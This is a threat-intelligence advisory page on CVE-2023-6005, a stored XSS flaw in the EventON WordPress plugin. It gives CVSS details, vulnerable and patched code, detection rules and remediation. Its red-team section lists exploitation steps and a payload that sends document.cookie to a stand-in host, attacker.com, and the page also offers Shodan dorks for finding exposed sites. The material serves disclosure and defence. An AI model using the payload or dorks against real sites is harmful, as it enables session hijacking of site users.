☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6005

CVE-2023-6005 Cross-Site Scripting in Eventon
📅 PUBLISHED: 2024-01-16 15:57 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6005 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the EventON WordPress plugin, affecting versions before 4.5.5 and 2.2.7. The vulnerability arises from insufficient sanitization and escaping of certain plugin settings, allowing high-privilege users (such as administrators) to inject malicious scripts. This is particularly dangerous in multisite WordPress setups where the unfiltered_html capability is disallowed, as it bypasses standard security controls. Successful exploitation could lead to session hijacking, defacement, or further compromise of the WordPress environment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The EventON plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of the plugin by checking checksums and ensuring updates are obtained from trusted sources. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) / Calculated: 4.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Admin)
  • User Interaction: Required (Victim must visit affected page)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium – Exploitation requires admin privileges but can affect other users in a multisite environment.

Deep Dive & Mechanics

The vulnerability exists in the settings panel of the EventON plugin. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database. When an administrator saves settings containing malicious JavaScript, the payload is stored and later rendered without proper encoding in the admin dashboard or frontend pages. In a multisite setup, where unfiltered_html is disabled for non-super admins, this flaw allows a site administrator to inject XSS that can affect other administrators or users.

The root cause is the use of insecure functions for outputting settings values, such as echo $value instead of esc_html( $value ) or wp_kses_post( $value ). The stored payload executes in the context of the victim's browser, potentially allowing cookie theft, redirection, or further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (EventON < 4.5.5 / < 2.2.7):

// In settings page rendering
echo '<input type="text" name="evo_settings[' . $key . ']" value="' . $value . '" />';

Patched Code (EventON >= 4.5.5 / >= 2.2.7):

// Properly escaped output
echo '<input type="text" name="evo_settings[' . esc_attr( $key ) . ']" value="' . esc_attr( $value ) . '" />';

The patch introduces esc_attr() to escape attribute values, preventing XSS. Additionally, the plugin now uses wp_kses_post() for rich text fields where HTML is allowed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Admin access to a WordPress site running EventON < 4.5.5 or < 2.2.7.
  • Target user must visit the affected settings page or frontend.

Exploitation Steps:

  1. Log in as an administrator.
  2. Navigate to EventON settings (e.g., /wp-admin/admin.php?page=eventon-settings).
  3. Locate a vulnerable input field (e.g., custom CSS or header text).
  4. Inject payload: <script>alert(document.cookie)</script> or a more sophisticated payload for session hijacking.
  5. Save settings.
  6. When another admin or user visits the page, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual changes to EventON settings via audit logs.
  • Look for script tags in plugin settings database entries (wp_options table, eventon_settings option).
  • Use WAF rules to block common XSS patterns in admin POST requests.

Hardening:

  • Apply the patch by updating to version 4.5.5 or 2.2.7.
  • Restrict admin access to trusted users only.
  • Enable Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use a security plugin (e.g., Wordfence) to monitor file changes and block malicious input.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/eventon/eventon.php (check version)
  • Database: wp_options table, eventon_settings option containing <script> tags.
  • Network: Outbound requests to attacker-controlled domains from admin pages.
  • Logs: Unusual POST requests to /wp-admin/admin.php?page=eventon-settings with script content.

Detection Engineering

YARA Rule

rule CVE_2023_6005_EventON_XSS {
    meta:
        description = "Detects EventON plugin files vulnerable to CVE-2023-6005"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6005"
    strings:
        $vuln_code = /echo\s+['\"]<input[^>]*value=['\"].*\$value/
        $patched_code = /esc_attr\(\s*\$value\s*\)/
    condition:
        $vuln_code and not $patched_code
}

Sigma Rule

title: EventON Stored XSS via Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in EventON plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin.php?page=eventon-settings'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin using script tags in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6005 EventON Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php?page=eventon-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Update EventON plugin to version 4.5.5 or 2.2.7.
  2. Workaround: If unable to update, disable the plugin or restrict admin access to super admins only.
  3. Long-term: Implement a Web Application Firewall (WAF) with XSS rules. Regularly audit plugin code for similar vulnerabilities.
  4. Monitoring: Enable logging for all admin actions and review for suspicious settings changes.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"EventON"
http.html:"eventon"
http.html:"evo" "calendar"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6005/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.